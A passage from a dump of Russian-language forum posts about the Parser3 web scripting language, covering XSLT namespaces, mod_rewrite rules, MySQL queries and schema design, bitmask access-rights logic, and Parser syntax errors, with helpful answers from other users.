junction-variable (это такое: $jCode{^i.inc(1)} ^while{conditions}{$jCode}) и junction-code (это когда мы передаем код в метод, например: ^method{^if(def $type}{update}{insert}}) - короткоживущие вещи. проверить их существование без их выполнения невозможно, передать их куда либо тоже невозможно (обращение к ним \"взрывает\" их и возвращает результат выполнения).\
\
теперь вернемся к properties: вы спрашиваете почему не может быть в свойстве сохранен код: по причине того, что junction-variable являются короткоживущей. т.е. даже если вы сохраните её без нарушения целостности (все переменные/методы, используемые в ней, остались доступны) вы не сможете её извлечь: вместо неё будет возвращаться результат её выполнения.\
\
думаю по высказаным выше причинам ПАФ не дал возможности хранить в свойствах junction."
"57155","и файл с указанным путем (w:///sys/templates/default/theme.xsl) существует? мне не нравится три слеша после имени диска, может и парсеру не нравится? попробуйте вместо base указать не '/', а например '/test/' и посмотреть как изменится указание пути в сообщении об ошибке."
"57157","по моему должно работать (локально, в упрощенном виде проверяли? возможно другое правило редиректит...)\
+ я немного упростил-бы:\
\
[code]RewriteCond %{HTTP_HOST} forum.site.ru$\
RewriteCond %{REQUEST_URI} !^/forum.*$\
RewriteRule ^(.*)$ /forum$1 [L,QSA][/code]"
"57158","http://tomas.epineer.se/tesupload/"
"57159","Спасибо за ссылку. Но я имел ввиду несколько другое:\
Со страницы, с помощью ajax загружается контент (какой-нибудь текст, например) и показывается количество загружаемого контента в процентах.\
\
Ну как во Flash прелоадеры."
"57160","Если вы толкуете о том, сколько юзеру осталось ждать, пока откроется страница - не используйте для этого ajax.\
\
У пользователя для этого есть чудесный привычный инструмент - прогрессбар в статусной строке браузера.\
\
Если же вы делаете ajax-запрос и хотите показать пользователю, что что-то происходит - покажите ему анимированный гифчик со вращающимися шестерёнками (поищите в гугле по словам \"ajax throbber\"). В процентах или секундах ожидания вы ничего пользователю сообщить не можете - вам неоткуда знать, когда придёт ответ на ajax-запрос и придёт ли."
"57161","можно экспортировать в текстовый файл, можно - в другую базу данных."
"57162","в css есть подобные вещи: page-break-before, page-break-after,   но с ними тяжело работать т.к. придётся посчитать количество строк, которое смещается при печати на страницу."
"57163","Гифчик с шистеренками уже давно сделал, просто думал, может найдется гений, который сделал с процентами или нашел пример."
"57164","да, я с ними долго бился - так ничего и не добился.\
Есть еще такое свойство page-break-inside, но оно работает только в Opere.\
А есть пример с таким подсчетом строк и дальнейшей их обработке?"
"57165","Более двух лет все работало и вдруг :\
\
500 Internal Selver Error\
\
В error.log-е:\
\
/usr/libexec/ld-elf.so.1: Shared object \"libc.so.4\" not found, required by \"parser3.cgi\"\
[Tue Nov 28 14:50:45 2006] [error] [client 195.218.170.3] Premature end of script headers: /www/testregi/www/cgi-bin/parser3.cgi \
\
Тех.поддержка говорит :\
\
На нашем сервере установлена операционная система FreeBSD 6.0-STABLE\
\
Что могло случиться и\
Что нужно сделать, чтобы этого не было ?\
\
Заранее благодарен,\
Николай"
"57166","1. Когда она была установлена?\
2. Какая была раньше?\
\
Если ответ \"со вчерашнего дня\":\
\
- читаете текст договора с хостером и находите пункт, по которому они должны вас уведомлять о проведении таких работ заранее и бьёте их тапком\
- цитируете нам сюда ответ на второй вопрос, продолжим решать проблему."
"57167","В особенности для форумов и чатов.\
http://www.yandex.ru/yandsearch?rpt=rad&text=javascript+%EF%F0%E5%EB%EE%E0%E4%E5%F0"
"57168","В случае с асинхронным запросом нельзя заранее знать, сколько он будет выполняться и будет ли получен ответ.\
\
Так что задача неосуществима."
"57169","http://pear.php.net/package/HTML_Progress/redirected\
http://www.gotdotnet.ru/Forums/Web/49700.aspx"
"57172","Это я неправильно написал здесь."
"57173","вот эти команды:\
\
[code]$stylesheet.search-namespaces.xsl[http://www.w3.org/1999/XSL/Transform]\
^stylesheet.documentElement.setAttribute[xmlns:xsl;http://www.w3.org/1999/XSL/Transform]\
[/code]\
\
не действуют???"
"57176","а сразу в формат sql это сделать невозможно? А текстовый файл - как его экспортировать допустим в phpmyadmin?"
"57177","Если да, то увидели бы, что экспорт в .sql - вариант по умолчанию."
"57179","[code]$stylesheet.search-namespaces.xsl[http://www.w3.org/1999/XSL/Transform][/code]\
регистрирует namespace с именем 'xsl' и namespaceURI 'http://www.w3.org/1999/XSL/Transform' для того, чтобы они были доступны в последующих xpath запросах.\
\
т.е. если у вас есть xdoc, и в нем определен namespace с URI 'http://www.w3.org/1999/XSL/Transform' и неизвестным вам name, вы можете выполнить эту инструкцию и потом писать xpath запросы, указывая в них определенное вами имя 'xsl'. все. ни на что более это не влияет. эта инструкция не добавляет в xdoc определение дополнительного namespace.\
\
\
[code]^stylesheet.documentElement.setAttribute[xmlns:xsl;http://www.w3.org/1999/XSL/Transform][/code]\
\
этой комманод вы добавляете _аттрибут_ с именем 'xmlns:xsl'. если он вдруг и добавится (а я считаю что должна быть ошибка), то это будет лишь аттрибут, а не дополнительный namespace корневой ноды со всем последующим влиянием этого namespace на дочерние ноды.\
\
P.S. ещё раз: я не спец в этом, и возможно я понял не так как все обстоит на самом деле. попробуйте сами почитать доки на w3.org"
"57180","Sanja v.2, нашел, дружище! Спасибо за помощь. PS очень долго искал в течении нескольких месяцев думал такой функции нет :)"
"57182","Александр Петросян (PAF) в свое время писал :\
\
     к сожалению, FreeBSD 6.x под рукой нет, \
     чтобы проверить совет.\
     но, попробуйте:\
     в файле parser3.cgi в hex редакторе исправить \
     точку перед двойкой в строке \"libcrypt.so.2\" на байт 00.\
\
В моем случае \"перед четверкой\"\
\
И все заработало !!!\
\
Спасибо !"
"57183","А как можно ИМПОРТИРОВАТЬ файл формата sql? Я не нашел...Нашел только импорт текстового"
"57184","P.S. неужели так сложно поискать прямо в программе?"
"57185","Перетаскиваю файл -> нажимаю Execute sql (F9), но странно почему то таблицы во вкладке Database не заполняются"
"57186","P.S. почитайте сообщения, которые вам пишет MySQL Front.\
P.P.S. это форум по парсеру, а не по обучению работы с MySQL Front, тред закрыт."
"57189","Может кто подскажет контакт человека, который мог бы написать месседжер для кпк?\
\
beau_at_bk.ru"
"57190","Здравствуйте.\
Подскажите, а с чем может быть связанно не выпонение функции @main[] из auto.p?\
Например @main[] ^header[] @header[][i]какойнить код...\
[/i] не дает, ровным счетом, ни чего. Пустая страница. Если же вызывать из indexa ^header[] то естественно все работает. а вот на счет main у меня закралось подозрение что он не обрабатывается.\
Вот. Извините за беспокойство."
"57191","Напишите там что-то типа @dummy[] или переопределите метод @header[]"
"57192","А если пишу @dummy[], то выдает Unhandled Exception"
"57194","Большое спасибо за советы.\
Теперь вы мой второй супермен после R. Averkova - он ответил мне на мой первый вопрос =)"
"57197","Код нормально работает на локальном сервере, а на внешем пишет \"Unhandled Exception\".\
Код такой:\
[code] \
@horoskop[][src;local_file;xml;list;now]\
# определяем локальный файл где находится XML\
$local_file[/bn_xml.cgi]\
\
# проверяем локальный файл, - если его дата изменения более чем на\
# день старее текущего времени, грузим его с внешнего сервера\
$src[^file::stat[$local_file]]\
.........................................\
 [/code]\
\
Ошибку начинает выдавать отсюда \"$src[^file::stat[$local_file]]\"\
Что может быть?"
"57198","- прочитайте то, что он говорит на этот счет (если не знаете как прочитать - посетите FAQ, если не понимаете английский - воспользуйтесь словарем)\
- подумайте, почему ему не нравится \"это\". попробуйте вывести отладочную информацию (удобно делать с помощью ^throw[;=тут=])"
"57199","Есть список работ. У каждой работы есть авторы, причем не у всех одинаковое количество авторов. Как лучше сделать:\
\
1. Примерно продумать максимально возможное количество авторов и сделать поля author_1, author_2, ..., author_n.\
\
2. Сделать одно поле authors и записывать в него авторов через разделитель.\
\
Я склоняюсь ко 2-му варианту. Что посоветуете?"
"57200","пояснение короткоживущести:\
[code]\
@main[]\
^test[]\
$joy\
@test[][local]\
$local[value]\
$joy{$local}\
[/code]"
"57201","работа с xml в parser происходит в большом чёрном ящике libxml+libxslt.\
красиво внедриться и ввести туда концепцию упрощённых путей, как в остальных местах parser, не получив противоречий, не удалось.\
сделано многое, но не всё.\
basepath — один подобных примеров.\
\
рекомендую использовать\
[code]\
^xdoc::create[$request:document-root]{<?xml...}\
[/code]\
\
где-то писал, но что-то сразу не найду:\
эта вот строка в начале uri \
http://localhost/\
при работе с xml означает на деле $request:document-root\
удобно использовать для ссылок на external entities и подобного.\
никакого HTTP запроса при этом не происходит.\
\
так что такая запись:\
[code]\
^xdoc::create[http://localhost]{<?xml...}\
[/code]\
полностью эквивалентна вышеприведённой."
"57202","Добавить таблицу с авторами и таблицу, в которой будут храниться связи автор-работа."
"57203","после освобождения блока памяти от потока пара байт из 88 затирается.\
и ещё: буфер на байтик переполняется где-то внутри этой триклятой унаследованной тухлой библиотеки."
"57204","Но ничего, если у меня на раздел портфолио потребуется уже минимум 4 таблицы?\
\
1.Основная таблица, где лежат все работы\
2.Таблица с разделами работ\
3.Таблица с авторами\
4.Таблица связей авторов и работ\
\
Я просто не знаю. Или это нормально?"
"57205","Я правильно понимаю, что в file::cgi нельзя использовать команды?\
\
[code]$fList[^file::cgi[grep;;-r;-l;$sPattern;.]][/code]"
"57206","Только надо указать относительный путь от document-root'а до \"команды\". Чтобы было меньше проблем я обычно делаю симлинк куда-нибудь поближе, чтобы путь свелся к /../grep."
"57207","страшна неосмысленная структура БД. Иногда можно все сделать 1-2 таблицами, иногда даже десяток не спасают - все зависит от решаемых задач. В вашем случае третий вариант из всех предложеных имхо самый оптимальный."
"57209","через медленный линк при репликации теряет объекты.\
Нет в жизни счастья.\
скорее бы проснулся Ктулу"
"57210","2.Таблица с разделами работ => тоже должно быть 2 таблицы: раздел + связь раздел-работа. ведь очень скоро вы захотите указать, что для данной работы вы делали дизайн и код. куда будете помещать работу?\
\
про количество таблиц вам сказали верно: не надо этого бояться. \
\
надо подумать сколько таблиц нужно прямо сейчас и делать не меньше. в лучшем случае нужно подумать сколько таблиц понядобиться завтра (но не послезавтра или после-послезавтра!) и сделать столько. вносить изменение в структуру БД после реализации сложно, т.к. для этого обычно требуется делать довольно много правок в коде."
"57211","в [url=\"/docs/lang/xdocuriparam.htm\"]доке[/url] говорится о том, что basepath задается стандартным для parser способом (т.е. от корня веб пространства).\
\
я правильно понял что дока не соотв. действительности и требует исправлений? или это исключение касается только '/' в basepath?"
"57212","Есть новости. Есть пользователи. Доступ к новостям предоставляется на основе абонемента. На его же основе для каждого пользователся, если он оплатил, заводится право доступа к той или иной новости, или же разделу, или региону в целом - в зависимости от типа абонемента.\
\
Проверка прав доступа производится во время вывода заголовка новости на страницу, и выводится соответствующая иконка. На одной странице может быть от 15 до 60 новостей, т.е. проверок. Пользователей много, новостей еще больше - прав будет тоже не мало.\
\
Как быть? Выбирать все права текущего юзера, и в них искать право на проверяемую новость, или же по каждой новости создавать SQL-запрос? Что в данном случае будет эффективнее? Парсер или Мускуль?\
\
P.S. Знаю, что можно написать оба варианта и замерить все - просто нет времени."
"57214","один запрос на проверку только одной новости проверяется по 7 (семи) условиям. Вы предлагаете сперва сделать хеш АйДишек новостей, и по нему создать один запрос? 7*60 - Мускуль не загнется?"
"57215","посмотрел в свои XSLT шаблоны и увидел например такое:\
[code]\
<xsl:template match=\"field\">\
<input>\
  <xsl:if test=\"(./@type)\"><xsl:attribute name=\"type\"><xsl:value-of select=\"./@type\" /></xsl:attribute></xsl:if>\
  <xsl:if test=\"(./@name)\"><xsl:attribute name=\"name\"><xsl:value-of select=\"./@name\" /></xsl:attribute></xsl:if>\
  <xsl:if test=\"(./@id)\"><xsl:attribute name=\"id\"><xsl:value-of select=\"./@id\" /></xsl:attribute></xsl:if>\
  <xsl:if test=\"(./@value)\"><xsl:attribute name=\"value\"><xsl:value-of select=\"./@value\" /></xsl:attribute></xsl:if>\
  <xsl:if test=\"(./@class)\"><xsl:attribute name=\"class\"><xsl:value-of select=\"./@class\" /></xsl:attribute></xsl:if>\
  <xsl:if test=\"(./@onChange)\"><xsl:attribute name=\"onChange\"><xsl:value-of select=\"./@onChange\" /></xsl:attribute></xsl:if>\
  <xsl:if test=\"(./@onClick)\"><xsl:attribute name=\"onClick\"><xsl:value-of select=\"./@onClick\" /></xsl:attribute></xsl:if>\
</input>\
</xsl:template>\
[/code]\
я так подозреваю что вместо прямого перечисления атрибутов можно как то обработать множество атрибутов? Может подскажет кто, а времени совсем нет референсе лопатить :( даю страшную клятву потом все таки прочитать и вникнуть в описание XSLT, но сейчас дедлайн полный."
"57216","Почитайте про copy."
"57217","MySQLю всёравно придётся сделать эту работу, а параметры ваши наверняка пересекаются так что работы у мускуля будет даже по меньше\
\
Я подозреваю у вас подход ошибочный.\
Надо разобраться в задаче и упростить, например не раздавать права каждому пользователю и каждому сообщению, а банально включать пользователя и сообщеня в соответствующий тарифный план. Пользователь включённый в тарифный план может видеть новости этого тарифного плана.\
\
И запрос у вас получается примерно следующим\
\
select *\
from user, news\
where group_id.user = group_id.news AND user_id = \"Уникальный идентификатор пользователя\""
"57219","Итак - сначала: есть новости. Есть медиа материал по новостям. Не по всем - по некоторым. Есть пакеты услуг, в которые входят те или иные категории новостей. Пакеты делятся на две категории - с медиа материалом, и без него. Кроме пакетов, пользователь по желанию может приобретать отдельно новость, или же материал по новости, или же все вместе. Также есть возможность приобретать доступы в отдельные категории новостей, или же регионы.\
\
К примеру - человек хочет получать [политические новости] [на русском языке] [по Украине].\
\
Или же [все] [мировые новости].\
\
Или [только медиа материал] [по Крымским] [экономическим новостям]. \
\
У меня голова кругом идет от таких требований. Как для решения такой задачи объеденять юзеров и новости в тарифные планы - ума не приложу. Единственным решением я вижу описание прав доступа для каждого юзера в отдельности. Если я где-то туплю - просветите пожалуйста."
"57221","[code]^if(def Parser && $yourLocation eq \"Великий Новгород\"){\
^try{\
^SendEmail[\
$.to[web@pro8.ru]\
$.subj[Вакансия парсер-разботчика]\
$.from[$yourEmali]\
$.body[$Skills $ProjectsComplete $ProjectsLinks $Technologies ^if(def $BlogOrSmth){$BlogOrSmth.link}{$ShortStory} $ContactInformation]\
]\
}{\
^if($exception.type eq misUnderstandWhatRYTalkingAbout){ \
 ^throw[bad.request;$request;dИзвините беспокойство - это не к вам!] \
   }\
^if($exception.type eq moreDetailesRequested){\
 $exception.handled(true)\
<pre>Более подробная информация о вакансии по почте (адрес указан в коде!)</pre>\
}\
}\
}[/code]\
Всем откликнувшимся - спасибо!"
"57223","предложите претендентам исправить ошибки в вашем коде, коих я насчитал... 3 логические, 4 синтаксические + 1 использование устаревшей конструкции %-)"
"57224","мы рекомендуем запускать вспомогательные shell-скрипты.\
так чуть более гибко, и нет проблем с путями и safe-mode."
"57225","Это лишний раз подтверждает актуальност данной вакансии :-)"
"57226","вижу, в данном случае параметр basepath трактуется в общем духе parser.\
подумаем.\
\
[code]\
	// URI \
	const char* URI_cstr;\
	if(params.count()>1) { // absolute(param)\
		const String& URI=params.as_string(0, \"URI must be string\");\
		URI_cstr=r.absolute(URI).cstr();\
	} else // default = disk path to requested document\
		URI_cstr=r.request_info.path_translated;\
	if(URI_cstr)\
		xmldoc->URL=source_charset.transcode_buf2xchar(URI_cstr, strlen(URI_cstr));\
[/code]"
"57231","это я тоже считаю логической ошибкой, как и $.subj, и вот почему: если метод, название которого говорит, что это метод-прослойка, не просто передает параметры оригинальному методу но и нещадно модифицирует их - это плохо, т.к. для того чтобы пользоваться подобным методом необходимо лезть в его код и читать его содержимое."
"57232","Ситуация в целом:\
человек решил в экстравагантной форме вывесить на тематическом форуме вакансию, а его жестко оборали и раскритиковали :)"
"57233","и еще желательно структуру таблиц юзеров и новостей (и все что с ними связано) и будет вам критика и советы.\
\
а так продолжаю советовать делать все одним запросом с объединениями."
"57234","У меня две таблицы: NEWS и DATE_REG, каждая таблица имеет по 4 колонки, одна из которых DATE. Я хочу вывести на экран отсортированное по DATE содержимое из двух таблиц. Как это сделать?\
\
Может кто встречался с таким вопросом, подскажите чайнику. Или ссылочку дайте на топик форума, а то я не нашел :("
"57235","человек запостил прикольную вакансию, ему поступило прикольное предложение поднять входной ценз, и тут началос... %)\
\
вообще imho, если ты запостил в этот форум что либо, хоть отдаленно напоминающее парсерный код, ты должен быть готов к любому развитию событий ;)"
"57236","мне задача кажется чрезмерно усложненной. я не представляю как в реалиях кто-то может захотеть приобрести определенную новость, которую он даже не видел.\
\
или допустим я представляю как сделать отображение новостей имея такие большие возможности по дополнительной фильтрации (язык, тип, регион, медиа), но я не представляю как рассказать посетителям сколько будет стоить каждый из подобных фильтров (я даже не знаю как это нормально назвать, но тарифный план по моему не подходит).\
\
по поводу проверок прав доступа: я бы попытался реализовать это средствами sql-я, по той причине что парсером это сделать сложно. например на странице для посетителя должно показаться 10 новостей. сколько новостей мы должны достать из БД, чтобы потом проверять парсером доступ к ним посетителя и в результате показать ему 10 тех, к которым он имеет доступ? неизвестно. \
\
можно конечно сделать парсерный цикл, который будет продолжаться пока не будет отображено 10 новостей, и в этом цикле делать запрос новости + проверку прав к ней, но... это не мой метод.\
\
видя структуру данных проще было что-либо понять и предложить, а исключительно для того, чтобы ответить на вопрос разрабатывать подобную структуру, потому рассказывать почему я сделал так, потом выслушивать возражение, что мол ты не учел то и то (про что я даже не подозревал из краткого описания задачи) и повторять все сначала - лично мне лень."
"57237","[code]\
SELECT * FROM NEWS LEFT JOIN DATE_REG (NEWS.pole_date=DATE_REG.pole_date) ORDER BY pole_date\
[/code]\
Приблизительно так , скажи конкретнее что тебе нужно и дам поподробней"
"57238","код вам не даст ничего. Если вас интересует принцип, то я его опишу.\
\
Есть таблица новостей. Новостей много - каждый день добавляется по 30-50 (агентство работает с апреля). По умолчанию на сайте агентства предоставляются только заголовки новостей плюс уменьшеные скрины медиа материала по новости. Если зарегистрированый пользователь сайта хочет приобрести новость, или материал - он делает заказ (запись в корзине). После оформления заказа пользователем, заказ передается в центр обработки заказов, где человек, отвечающий за финансовую часть выставляет цены на те или иные заказы - т.е. фиксированых цен нет (т.к. сегодня новость \"горячая\" - стоит 100 баксов, а через неделю она уже \"попса\" и за нее и 10 баксов хорошо).\
\
Теперь, зарегистрированый пользователь заходит на сайт (логается) и ему, как и любому посетителю - открывается список новостей (в данный момент по 10 на регион. регионов сейчас 3 - Мир, Крым, Украина). В отличии от незарегистрированного посетителя, которому доступны только заголовки нововстей, для зарегистрированного юзера нужно рядом с каждым заголовком вывести иконку, соответствующую его праву доступа к данной новости.\
\
Вот и вся задача. Т.е. проверка права доступа осуществляется только для зарегистрированного и логнутого юзера и только то тем новостям, заголовки которых выводятся в данный момент на экран.\
\
В данный момент я склонился к [поиску в БД] [права доступа текущего логнутого юзера] к [каждой выводимой новости] с кешированием СКЛ-запроса. Вроде шустро работает."
"57239","вообщем если что я не программист\
но в сентябре для себя (больше ради интереса) начал писать. Тк на момент начала я весьма плохо знал parser, совершенно не знал xml, xslt, java, то рез-т неособо..\
не хотелось выкладывать настолько сырой продукт, но за последний месяц работа почти не продвинулась => понял что одному непрофессионалу писать это \"сложновато\" да и неинтересно в одиночку\
\
вообщем\
svn:\
http://code.google.com/p/mouse-cms/\
рассылка, обсуждение:\
http://groups-beta.google.com/group/mouse-cms?hl=ru\
[b]все вопросы по системе пожалуйста в google группу Mouse[/b]\
принципы по которым я это делаю:\
http://misha.design.ru/hobby/progr/engine4.html\
изначально все строилось на прототипе движка \"антистатик\"\
система строго Open Source\
\
\
очень расчитываю что все таки сообщество начнет писать общую смс\
я в любом случае продолжу ее дорабатывать, но как известно одна голова хорошо...\
по отдельности мы врядли угонимся за другими языками и системами на них + мне нравится parser\
\
еще раз - вещь очень сырая и фактически сейчас не может почти ничего\
\
надеюсь на вашу поддержку"
"57244","если нужны gmail инвайты \
у меня валяется 50 штук\
\
в принципе на ней(на чуть более ранней) стоит:\
http://klen.zoxt.net\
\
но там фактически ничего нет,\
так что крушите, вход в админку свободный\
желателен firefox редактирование записей в таблицах двойной клик\
(больше меня достает написание админки, учитывая что это первый опыт вообще в web разработке)"
"57249","Попытался вставить парсер к код на php - не работает и не выдаёт ошибок. Вставил \"^horoskop\" - он и выводит \"^horoskop\", без обращения к auto.p\
Вот адрес запуска скрипта www.medgora.ru/index.php В правой колонке должен быть гороскоп.\
И что интересно, когда я сохранил html-код сайта в файл, то при запуске парсер работает. В этом можно убедиться по адресу www.medgora.ru/index1.html"
"57250","Посмотрел тут по форуму, есть примеры, когда парсер вызывает пхп, а вот наоборт не нашёл, неужели нет?"
"57251","вы вставляете в php файл код на parser и ожидаете его выполнения?\
Parser у вас назначен только обработчиком html страниц и только при их вызове управление передается Parser \
\
что делать? например вы можете гороскоп показывать через iframe в который грузить файл goroskop.html уже с кодом на парсере. Или подгружать через ajax.\
\
воспользуйтесь пойском по форуму (+parser +php)про это много писали"
"57252","http://www.parser.ru/forum/?id=33412\
http://www.parser.ru/forum/?id=57011\
http://www.parser.ru/forum/?id=57021"
"57254","Подскажите, где можно найти такую, прогу/скрипт/или иную вещь, чтобы она выполняла следующие задачи:\
\
сайт статический, не поставлен на движок, поэтому у него нет своего рсс генератора, а делать новости вручную очень долго и трудно. Поэтому появилась необходимость в том, чтобы вся информация, которая появляется на сайте отображалась в рсс новостях, а также чтобы была возможность собирать новости в инете  и сливать их в общую ленту новостей сайта и тд. \
\
примеры таких встроенных генераторов:\
_http://moneysuck.com/feed/ и тд"
"57255","А решился ли вопрос с приемом почты Парсером? Или остаються варианты самостоятельного разбора?"
"57258","Как сделать правильнее (меньше нагрузка)\
Примеры крайне утрированы...\
\
\
Пример №1\
\
Надо вывести 100раз фразу \"слово№1\" (номер 2 номер 3,4,5 и так далее 100раз).\
Заранее известно, что количество (100 раз) будет всегда одно и тоже. \
\
Вариант1\
Тупо написать Слово№1, Слово№2, Слово№3\
\
Вариант 2.\
\
Сделать простенький for\
\
---\
Как будет быстрее?\
\
\
Задача№2\
\
Ээээ...егмс...ну например есть Mysql база данных по вакансиям организации. Есть две таблицы.\
\
1ая - 2 поля. ID (Уникальный) Category (название категории)\
2ая - Собственно данные по вакансии....Имеет поле parent которое привязывает его к разделу из первой категории.\
\
Выводим все вакансии...по категориям...\
Вариант1\
\
Два запроса 1ый кушает все категории второй все вакансии.\
И уже когда делаем ^category.menu средствами парсер делаем выборку vacansy.parent=category.id\
\
Вариант2\
\
Один запрос в начале. И патом в  ^category.menu делаем отдельные запросы WHERE `parent`='category.id'\
\
Как будет быстрее?"
"57259","Задача 1\
Вариант 1 быстрее :)\
Задача 2\
а) Почему бы не изменить название поля parent и не вытащить все 1м join запросом?\
б) создать по категории хэш таблиц и с него выводить таблицы категорий."
"57261","SELECT *\
FROM tmp\
WHERE uid_root = '0'\
LIMIT 50 \
\
SELECT *\
FROM tmp\
WHERE uid_root =0\
LIMIT 50 \
\
два казалось бы одинаковых запроса выдают разные результаты\
Первый за нуль считает нуль\
\
Второй за нуль принимает не только нуль но на пример и это\
AAB29B3B-3029-42B7-A4FD-242A424AE и многое другое принимает нулём\
\
зы зелых 3 часа убил пока догадался кавычки поставить"
"57262","в ходе плотной работы с битовыми операциями наткнулся на не очень удобный синтаксис сложения масок. К примеру мне нужно к переменной добавить маску - приходится писать\
[code]$iVariable($iVariable | $iBitMask)[/code]\
\
Почему бы не сделать такой вариант\
\
[code]^iVariable.or($iBitMask)[/code]\
\
Было бы очень удобно, особенно в случаях с длинными названиями переменных."
"57263","Эмм...\
\
Есть таблица\
[code]# определяем таблицу типов прав доступа\
$tAccessTypes[^table::create{type	title	lang_id_1	lang_id_2	lang_id_3\
0	not_active	отключено	not active	servis d&#305;&#351;&#305;\
1	active	активно	active	aktif\
2	full_access	полный доступ	full access	tam eri&#351;im\
4	region	регион	region	b&#246;lge\
8	group	раздел	group	kategori\
16	article	новость	article	haber\
32	service_packet	пакет услуг	service_packet	abonelik paketi\
64	with_media	с медиа материалом	with media	medya i&#231;erir\
128	media	медиа материал	media	medya\
256	in_basket	в корзине	in basket	sepete eklenmi&#351;\
512	ordered	заказан	ordered	sipari&#351; edilmi&#351;\
1024	confirmed	подтвержден	confirmed	onaylanm&#305;&#351;\
2048	paid	оплачен	paid	&#246;denmi&#351;\
4096	free_access	свободный доступ	free access	a&#231;&#305;k eri&#351;im}][/code]\
\
Есть метод\
\
[code]################################################\
@right_is[sTitle;iType][sTitle;iType]\
^if(^tAccessTypes.locate[title;$sTitle] && (^tAccessTypes.type.int(0) & ^iType.int(0)) == ^tAccessTypes.type.int(0)){\
	$result(1)\
}{\
	$result(0)\
}\
# end of @right_is[][/code]\
\
Есть проверка типа\
[code]^if(^right_is[in_basket;$hItem.type_is]){\
	basket\
}\
^if(^right_is[ordered;$hItem.type_is]){\
	ordered\
}\
^if(^right_is[confirmed;$hItem.type_is]){\
	confirmed\
}[/code]\
\
Как вышеуказанные ИФы заменить на switch?"
"57264","ткните носом, не могу найти."
"57265","т.к. основная фишка, ради которой и используют биты, состоит в том, что несколько битов может быть установлено одновременно, т.е. в случае switch нам нужно будет идти как бы по нескольким веткам одновременно. однако switch этого не умеет, т.к. он позволяет делать выбор лишь одного варианта из нескольких.\
\
однако если в вашем случае вы знаете, что одновременно не может быть установлено несколько бит одновременно и switch вам подходит, вы можете сделать так:\
[code]\
@right_name[iType]\
^if(^tAccessTypes.locate($tAccessTypes.type & $iType)){\
	$result[$tAccessTypes.title]\
}{\
	$result[]\
}\
[/code]\
\
и использовать switch:\
[code]\
^switch[^right_name(^hItem.type_is.int(0))]{\
	^case[basket]{\
		код\
	}\
	^case[ordered]{\
		код\
	}\
	^case[confirmed]{\
		код\
	}\
}\
[/code]\
\
кроме того я немного иначе написал бы метод right_is (не знаю, эффективнее он стал бы или нет, проверьте сами):\
[code]@right_is[sTitle;iType]\
$result(^tAccessTypes.locate($tAccessTypes.title eq $sTitle && $tAccessTypes.type & $iType))\
# end of @right_is[][/code]\
\
P.S. перечислять в списке локальных переменных входные переменные нет необходимости, они и так локальные."
"57268","в первом случае поле сравнивается со строкой, во втором с числом.\
Судя по приведенному вами значению поле скорее VARCHAR чем INT, при подстановке его в условие происходит преобразование типов, если преобразование прошло неудачно, его результат всегда 0.\
\
[code]\
SELECT 2 + 2\
-> 4\
\
SELECT 2 + '2'\
-> 4\
\
SELECT 2 + 'dva'\
-> 2\
[/code]"
"57269","и вам советуем. так роботам общаться проще. по всем параметрам."
"57270","Прошу заметить что \"AAB29B3B-3029-42B7-A4FD-242A424AE\" ни как не равна \"0\" хоть в кавычках хоть без них, если только использовать LIKE  %0% но это другая история\
\
зы: Что-то авторизация в огнелисе неочень работает"
"57272","сами проверьте:\
[code]\
SELECT \"AAB29B3B-3029-42B7-A4FD-242A424AE\" = 1\
-> 0\
\
SELECT \"AAB29B3B-3029-42B7-A4FD-242A424AE\" = 123\
-> 0\
\
SELECT \"AAB29B3B-3029-42B7-A4FD-242A424AE\" = \"AAB29B3B-3029-42B7-A4FD-242A424AE\"\
-> 1\
\
SELECT \"AAB29B3B-3029-42B7-A4FD-242A424AE\" = 0\
-> 1\
[/code]"
"57273","Добавляю в auto.p код...\
\
[code]@rusage[comment][v;now;prefix;message;line;usec] \
$v[$status:rusage] \
$now[^date::now[]] \
$usec(^v.tv_usec.double[]) \
$prefix[[^now.sql-string[].^usec.format[%06.0f]] $env:REMOTE_ADDR: $comment] \
$message[$v.utime $v.stime $request:uri] \
$line[$prefix $message ^#0A] \
^line.save[append;/rusage.log] \
$result[] [/code]\
\
...и в конец нужного метода\
\
[code]^rusage[total][/code]\
\
В ответ Парсер ругается:\
\
[b]В работе Parser произошла ошибка:[/b]\
[i]class is undefined[/i]\
\
[b]Ошибку вызвал этот фрагмент:[/b]\
[i]status[/i]\
\
Уже по разному пробовал, ничего не выходит. В чем тут проблема?"
"57275","Что значит \"вводим везде веб-сервисы\"?\
\
Вы исключаете необходимость обработки email с помощью Parser впринципе?"
"57276","старый парсер стоит , обновите"
"57279","Да. Не совсем, понятно. \
\
Стараться переходить на веб-сервис конечно лучше, но есть ситуации, когда без почты не обойтись."
"57280","Что значит подумаем???"
"57281","Вот этот код:\
\
[code]@_sectionLink[section;last][result]\
^if($section.uri ne \"/\"){\
	$sectTitle[^if(def $section.title.short){$section.title.short;$section.title.long}]\
	^if($section.id eq $last){\
		<a target=\"_blank\" href=\"${sf:control.current.site.href}$section.uri\">$sectTitle</a>\
	}{\
		$sectTitle\
	}\
}[/code]\
\
Выдает такую ошибку:\
\
[b]Источник:  use[/b]\
[b]Описание:  w:/home/.../data-template.p(66:17): syntax error, unexpected BAD_NONWHITESPACE_CHARACTER_IN_EXPLICIT_RESULT_MODE, expecting ';' or '}'[/b] \
[b]Тип ошибки:  parser.compile[/b]\
\
В данном случае 66-ая строка это та, что начинается с \"<a target=\"_blank\" hre...\".\
\
Когда убираю [result] из определения метода, то ошибка пропадает."
"57283","внутрь соответствующей вашему тестовому сайту секции \
[b]<VirtualHost [i]IP[/i]>.....</VirtualHost>[/b] следующее:[code]<Location />\
# Разрешает использование встроенного парсерного класса status:\
  ParserStatusAllowed\
</Location>[/code]и перезапустите Apache."
"57284","Вот что было:\
[quote]фича. началась в 3.1.5\
Александр Петросян (PAF) 12.12.2005 10:05 \
в доке пытался раскрыть её суть, видимо, не до конца.\
методы, помеченные явным [result] в списке локальных переменных, отличаются от остальных.\
чтобы сделать это отличие явным, в пользовательском выводе специально запрещены любые знаки, кроме пробельных (которые игнорируются).\
возможно, со временем сумею в доке сформулировать чётче.\
ваши варианты формулировки welcome.\
формат:\
было\
стало[/quote]\
\
И что это означает???\
Как работать-то с этой штукой?"
"57285","http://www.parser.ru/docs/lang/definemethod.htm"
"57286","Понятно, что дополнение. Но как быть с верным кодом? Почему не работает???"
"57288","[quote]...в пользовательском выводе специально запрещены [b]любые знаки, кроме пробельных[/b]...[/quote]\
\
посмотрите весь тред по приведенной ссылке, там в первом сообщении есть вариант который работает, обратите внимание чем отличается.\
\
Возможно [result] в вашем случае вообще не подходит."
